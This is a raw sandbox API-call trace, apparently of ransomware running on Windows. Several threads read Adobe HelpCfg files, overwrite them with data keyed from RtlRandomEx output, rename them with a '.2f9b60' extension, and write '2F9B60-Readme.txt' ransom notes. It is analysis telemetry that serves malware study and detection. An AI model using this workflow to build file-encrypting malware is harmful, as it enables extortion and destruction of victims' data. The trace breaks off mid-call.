0xffffffff [0219.419] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\hr_hr\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdac [0222.389] WriteFile (in: hFile=0xdac, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2f99f570, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2f99f570*=0xba9, lpOverlapped=0x0) returned 1 [0224.615] CloseHandle (hObject=0xdac) returned 1 [0225.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431caf40) returned 1 [0225.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505870) returned 1 Thread: id = 2519 os_tid = 0x1fd0 [0154.876] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\hu_hu\\reader_10.0.helpcfg")) returned 0x20 [0154.876] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0154.877] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\hu_hu\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x714 [0154.878] GetFileSizeEx (in: hFile=0x714, lpFileSize=0x30b3fbe0 | out: lpFileSize=0x30b3fbe0*=349) returned 1 [0154.878] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.878] ReadFile (in: hFile=0x714, lpBuffer=0x30b3fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x30b3fba8, lpOverlapped=0x0 | out: lpBuffer=0x30b3fb60*, lpNumberOfBytesRead=0x30b3fba8*=0x4, lpOverlapped=0x0) returned 1 [0154.879] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0154.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda370 [0154.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda400 [0154.879] NtQuerySystemTime (in: CurrentTime=0x30b3faa0 | out: CurrentTime=0x30b3faa0*=132462177600166000) returned 0x0 [0154.879] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x2804d777 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x1b1adc58 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x4291b1db [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0xe763884 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x142018b3 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x16887535 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x6f8d5057 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x6a5667ae [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x78e3e71a [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x7ff9bfde [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x33f7fac3 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x291fdab7 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x49863969 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x58905e06 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x5175929e [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x6fedece8 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x40de07ae [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x34cec22d [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x2e7841e5 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x294e152a [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0xa13a568 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x50336a45 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x2a85ceae [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x38ca5891 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x34f47bf2 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x62c08b11 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x51c17e54 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x1af04914 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x14bc2f38 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x6e431612 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x24262b39 [0154.880] RtlRandomEx (in: Seed=0x30b3fa90 | out: Seed=0x30b3fa90) returned 0x4b1133f4 [0154.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda430 [0154.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cac0 [0154.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda460 [0154.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cac0) returned 1 [0154.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda400) returned 1 [0154.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0154.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced20b0 [0154.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cac0 [0154.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0154.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0154.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42887240 [0154.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4288ae50 [0154.891] ReadFile (in: hFile=0x714, lpBuffer=0x42887240, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x30b3fa90, lpOverlapped=0x0 | out: lpBuffer=0x42887240*, lpNumberOfBytesRead=0x30b3fa90*=0x15d, lpOverlapped=0x0) returned 1 [0154.891] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.891] WriteFile (hFile=0x714, lpBuffer=0x4288ae50, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x30b3fa94, lpOverlapped=0x0) [0186.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9380 [0186.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec93b0 [0186.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec93b0) returned 1 [0186.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4288ae50) returned 1 [0186.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42887240) returned 1 [0186.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cac0) returned 1 [0186.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced20b0) returned 1 [0186.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5ce30 [0186.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced20b0 [0186.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cac0 [0186.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec93b0 [0186.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec93b0) returned 1 [0186.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5ce70 [0186.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec93b0 [0186.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec93e0 [0186.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec93e0) returned 1 [0186.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cac0) returned 1 [0186.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced20b0) returned 1 [0186.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x116640 [0186.361] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.361] WriteFile (in: hFile=0x714, lpBuffer=0x116640*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x30b3fbb0, lpOverlapped=0x0 | out: lpBuffer=0x116640*, lpNumberOfBytesWritten=0x30b3fbb0*=0x118, lpOverlapped=0x0) returned 1 [0207.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0207.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda970 [0207.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda970) returned 1 [0207.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdda970 [0207.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda940 [0207.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda880 [0207.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda880) returned 1 [0207.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0207.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd86250 [0207.065] sprintf (in: _Dest=0x1cd86250, _Format="%c%c" | out: _Dest="1d") returned 2 [0207.066] sprintf (in: _Dest=0x1cd86252, _Format="%c%c" | out: _Dest="7c") returned 2 [0207.066] sprintf (in: _Dest=0x1cd86254, _Format="%c%c" | out: _Dest="5c") returned 2 [0207.066] sprintf (in: _Dest=0x1cd86256, _Format="%c%c" | out: _Dest="c4") returned 2 [0207.066] sprintf (in: _Dest=0x1cd86258, _Format="%c%c" | out: _Dest="72") returned 2 [0207.066] sprintf (in: _Dest=0x1cd8625a, _Format="%c%c" | out: _Dest="67") returned 2 [0207.066] sprintf (in: _Dest=0x1cd8625c, _Format="%c%c" | out: _Dest="bd") returned 2 [0207.066] sprintf (in: _Dest=0x1cd8625e, _Format="%c%c" | out: _Dest="a3") returned 2 [0207.066] sprintf (in: _Dest=0x1cd86260, _Format="%c%c" | out: _Dest="17") returned 2 [0207.066] sprintf (in: _Dest=0x1cd86262, _Format="%c%c" | out: _Dest="0d") returned 2 [0207.066] sprintf (in: _Dest=0x1cd86264, _Format="%c%c" | out: _Dest="54") returned 2 [0207.066] sprintf (in: _Dest=0x1cd86266, _Format="%c%c" | out: _Dest="bc") returned 2 [0207.066] sprintf (in: _Dest=0x1cd86268, _Format="%c%c" | out: _Dest="cf") returned 2 [0207.066] sprintf (in: _Dest=0x1cd8626a, _Format="%c%c" | out: _Dest="a9") returned 2 [0207.066] sprintf (in: _Dest=0x1cd8626c, _Format="%c%c" | out: _Dest="83") returned 2 [0207.066] sprintf (in: _Dest=0x1cd8626e, _Format="%c%c" | out: _Dest="ff") returned 2 [0207.066] sprintf (in: _Dest=0x1cd86270, _Format="%c%c" | out: _Dest="f2") returned 2 [0207.066] sprintf (in: _Dest=0x1cd86272, _Format="%c%c" | out: _Dest="9a") returned 2 [0207.066] sprintf (in: _Dest=0x1cd86274, _Format="%c%c" | out: _Dest="76") returned 2 [0207.066] sprintf (in: _Dest=0x1cd86276, _Format="%c%c" | out: _Dest="eb") returned 2 [0207.066] sprintf (in: _Dest=0x1cd86278, _Format="%c%c" | out: _Dest="e0") returned 2 [0207.066] sprintf (in: _Dest=0x1cd8627a, _Format="%c%c" | out: _Dest="b6") returned 2 [0207.066] sprintf (in: _Dest=0x1cd8627c, _Format="%c%c" | out: _Dest="c3") returned 2 [0207.066] sprintf (in: _Dest=0x1cd8627e, _Format="%c%c" | out: _Dest="fe") returned 2 [0207.066] sprintf (in: _Dest=0x1cd86280, _Format="%c%c" | out: _Dest="1b") returned 2 [0207.066] sprintf (in: _Dest=0x1cd86282, _Format="%c%c" | out: _Dest="bd") returned 2 [0207.066] sprintf (in: _Dest=0x1cd86284, _Format="%c%c" | out: _Dest="19") returned 2 [0207.066] sprintf (in: _Dest=0x1cd86286, _Format="%c%c" | out: _Dest="db") returned 2 [0207.066] sprintf (in: _Dest=0x1cd86288, _Format="%c%c" | out: _Dest="a9") returned 2 [0207.066] sprintf (in: _Dest=0x1cd8628a, _Format="%c%c" | out: _Dest="64") returned 2 [0207.066] sprintf (in: _Dest=0x1cd8628c, _Format="%c%c" | out: _Dest="db") returned 2 [0207.067] sprintf (in: _Dest=0x1cd8628e, _Format="%c%c" | out: _Dest="e9") returned 2 [0207.067] sprintf (in: _Dest=0x1cd86290, _Format="%c%c" | out: _Dest="20") returned 2 [0207.067] sprintf (in: _Dest=0x1cd86292, _Format="%c%c" | out: _Dest="cf") returned 2 [0207.067] sprintf (in: _Dest=0x1cd86294, _Format="%c%c" | out: _Dest="73") returned 2 [0207.067] sprintf (in: _Dest=0x1cd86296, _Format="%c%c" | out: _Dest="64") returned 2 [0207.067] sprintf (in: _Dest=0x1cd86298, _Format="%c%c" | out: _Dest="73") returned 2 [0207.067] sprintf (in: _Dest=0x1cd8629a, _Format="%c%c" | out: _Dest="db") returned 2 [0207.067] RtlInitAnsiString (in: DestinationString=0x30b3fc28, SourceString="1d7c5cc47267bda3170d54bccfa983fff29a76ebe0b6c3fe1bbd19dba964dbe920cf736473db" | out: DestinationString="1d7c5cc47267bda3170d54bccfa983fff29a76ebe0b6c3fe1bbd19dba964dbe920cf736473db") [0207.067] RtlAnsiStringToUnicodeString (in: DestinationString=0x30b3fbf8, SourceString="1d7c5cc47267bda3170d54bccfa983fff29a76ebe0b6c3fe1bbd19dba964dbe920cf736473db", AllocateDestinationString=1 | out: DestinationString="1d7c5cc47267bda3170d54bccfa983fff29a76ebe0b6c3fe1bbd19dba964dbe920cf736473db") returned 0x0 [0207.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431501f0 [0207.067] wcscat (in: _Dest=0x43150140, _Source="1d7c5cc47267bda3170" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\1d7c5cc47267bda3170") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\1d7c5cc47267bda3170" [0207.067] wcscat (in: _Dest=0x43150140, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\1d7c5cc47267bda3170.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\1d7c5cc47267bda3170.2f9b60" [0207.067] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\1d7c5cc47267bda3170.2f9b60", NtPathName=0x30b3fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\1d7c5cc47267bda3170.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310c460 [0209.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310c460) returned 1 [0209.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291f50) returned 1 [0209.388] NtQueryInformationFile (in: FileHandle=0x714, IoStatusBlock=0x30b3fc38, FileInformation=0x30b3fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x30b3fc38, FileInformation=0x30b3fc48) returned 0x0 [0209.388] NtSetInformationFile (FileHandle=0x714, IoStatusBlock=0x30b3fc38, FileInformation=0x30b3fc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0216.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43150140) returned 1 [0216.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431501f0) returned 1 [0216.270] FlushFileBuffers (hFile=0x714) returned 1 [0216.275] CloseHandle (hObject=0x714) returned 1 [0219.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431cafe0 [0219.421] wcscpy (in: _Dest=0x431cafe0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\" [0219.421] wcscat (in: _Dest=0x431cafe0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\2F9B60-Readme.txt" [0219.421] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\hu_hu\\2f9b60-readme.txt")) returned 0xffffffff [0219.421] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\hu_hu\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3328 [0222.390] WriteFile (in: hFile=0x3328, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x30b3faf0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x30b3faf0*=0xba9, lpOverlapped=0x0) returned 1 [0224.616] CloseHandle (hObject=0x3328) returned 1 [0225.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431cafe0) returned 1 [0225.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505910) returned 1 Thread: id = 2520 os_tid = 0x1fd4 [0154.892] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\it_it\\reader_10.0.helpcfg")) returned 0x20 [0154.893] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0154.894] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\it_it\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x718 [0154.894] GetFileSizeEx (in: hFile=0x718, lpFileSize=0x2fbff9e0 | out: lpFileSize=0x2fbff9e0*=349) returned 1 [0154.894] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.894] ReadFile (in: hFile=0x718, lpBuffer=0x2fbff960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fbff9a8, lpOverlapped=0x0 | out: lpBuffer=0x2fbff960*, lpNumberOfBytesRead=0x2fbff9a8*=0x4, lpOverlapped=0x0) returned 1 [0154.895] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0154.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda400 [0154.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda490 [0154.896] NtQuerySystemTime (in: CurrentTime=0x2fbff8a0 | out: CurrentTime=0x2fbff8a0*=132462177600322000) returned 0x0 [0154.896] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x162d7b8b [0154.896] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x6a0f1b55 [0154.896] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x7a770714 [0154.896] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x20c0a552 [0154.896] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x3b69c7e1 [0154.896] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x32745ffb [0154.896] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x471cd203 [0154.896] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x7d065c21 [0154.896] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x7eef98c8 [0154.896] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x4d9f8b30 [0154.896] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x1c559ee9 [0154.896] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x132741a2 [0154.896] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x6721af98 [0154.896] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x14d520f9 [0154.897] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x565c2b4d [0154.897] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x42ec6fc8 [0154.897] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x1e11bf5f [0154.897] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x1807486c [0154.897] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x6f4a29c3 [0154.897] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x45d9634b [0154.897] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x63a1804a [0154.897] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x6cb2b5dd [0154.897] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x2f267f05 [0154.897] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x4e4805b8 [0154.897] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x7d9ed59a [0154.897] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x29b08213 [0154.897] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x5dbdbf54 [0154.897] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x7d5f7f73 [0154.897] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x105bbb07 [0154.897] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x59d331d1 [0154.897] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x633caee [0154.897] RtlRandomEx (in: Seed=0x2fbff890 | out: Seed=0x2fbff890) returned 0x3d794369 [0154.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda4c0 [0154.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cb40 [0154.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda4f0 [0154.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cb40) returned 1 [0154.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda490) returned 1 [0154.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0154.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2100 [0154.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cb40 [0154.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0154.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0154.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4288ea60 [0154.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42892670 [0154.906] ReadFile (in: hFile=0x718, lpBuffer=0x4288ea60, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x2fbff890, lpOverlapped=0x0 | out: lpBuffer=0x4288ea60*, lpNumberOfBytesRead=0x2fbff890*=0x15d, lpOverlapped=0x0) returned 1 [0154.907] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.907] WriteFile (in: hFile=0x718, lpBuffer=0x42892670*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x2fbff894, lpOverlapped=0x0 | out: lpBuffer=0x42892670*, lpNumberOfBytesWritten=0x2fbff894*=0x15d, lpOverlapped=0x0) returned 1 [0162.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18ba0 [0162.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18bd0 [0162.459] RtlFreeHeap 